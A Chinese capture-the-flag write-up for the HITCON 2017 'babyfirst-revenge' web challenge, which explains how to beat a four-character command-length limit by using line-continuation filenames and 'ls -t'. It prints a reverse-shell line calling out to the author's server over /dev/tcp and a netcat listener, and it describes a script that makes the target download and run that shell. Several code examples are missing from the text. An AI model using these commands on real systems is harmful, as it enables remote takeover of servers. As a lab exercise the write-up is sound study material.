来源信息
- i春秋
- 题目名称:babyfirst-revenge
- 类型:Web
- 难度:★★★★☆
- 题目地址:链接
- 题目内容:hitcon2017丧心病狂的命令执行
解题
问题分析
打开链接看到的就是一段php代码,仔细阅读一些代码,发现该代码的意思是将用户输入的cmd进行判断,如果非空同时cmd的长度小于等于4时,执行该cmd命令
如果输入的reset不为空的话,就会重置该文件夹及路径。
原理分析
要想突破长度的限制,这里就需要使用Linux中的 \ (续行符)。
在Linux中,当输入的命令过长时,会被 \ 分为多行。所以我们也使用该方法来绕过长度限制。
这里举个例子:
使用 \ 实现下述的命令:
1 | echo 1 |
- 正常输入:
- \ 输入:
成功创建了命令,接着使用ls -t将其按照创建的顺序写入到g中。
则 g 中的命令就变成了:
1 | echo 1 |
这里需要注意的问题
- 写入的长度
- 写入的顺序
解题过程
明确我们的目的:构造shell,然后进行反弹。
在自己的VPS上构造的shell如下:
1 | bash -i > /dev/tcp/XXX.XXX.XXX.XXX1/8080 |
脚本执行,写入bash命令,访问我们的VPS下载并执行shell。
1 | import requests |
服务器端监听对应的端口即可:
1 | nc -lvvp 8080 |
执行成功就会发现在home下面的fl4444g目录下存在README.txt文件,flag在数据库中。